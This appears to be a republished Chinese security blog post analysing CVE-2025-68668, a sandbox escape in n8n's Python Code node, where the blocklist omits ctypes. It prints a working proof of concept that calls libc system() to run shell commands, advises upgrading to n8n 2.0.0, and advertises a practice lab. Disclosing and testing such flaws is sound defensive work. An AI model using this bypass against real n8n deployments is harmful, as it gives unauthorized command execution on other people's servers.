大洞!速修!n8nPython代码节点沙箱绕过导致系统命令执行(CVE-2025-68668)

admin 2026-01-05 17:57:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了n8n平台CVE-2025-68668漏洞,该漏洞源于Python代码节点的沙箱黑名单未禁用ctypes库。攻击者可利用ctypes调用C库函数绕过沙箱,实现系统命令执行。文章提供了验证PoC及复现环境,并建议用户立即升级至n8n2.0.0或更高版本以修复此严重安全问题。 综合评分: 91 文章分类: 漏洞分析,漏洞预警,漏洞POC


cover_image

大洞!速修!n8nPython代码节点沙箱绕过导致系统命令执行(CVE-2025-68668)

棉花糖

知攻善防实验室

2026年1月5日 09:06 浙江

前言

今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号无关。

漏洞概述

n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。

漏洞原理

n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中:

img

如果执行这样的代码:

import os
os.system('ls')

是会被阻止的:

image-20260104161503537

但黑名单中并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:

import ctypes
libc = ctypes.CDLL(None)
libc.system(b'ls')

本地环境验证:

import ctypes
import os

libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')

return {
    "vulnerability": "SUCCESS"
}

image-20260104162123099

修复方法:立即升级到n8n2.0.0或更高版本

复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。

image-20260104182631157

image-20260104183035709

广告时间:


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:知攻善防实验室 棉花糖《大洞!速修!n8nPython代码节点沙箱绕过导致系统命令执行(CVE-2025-68668)》

评论:0   参与:  0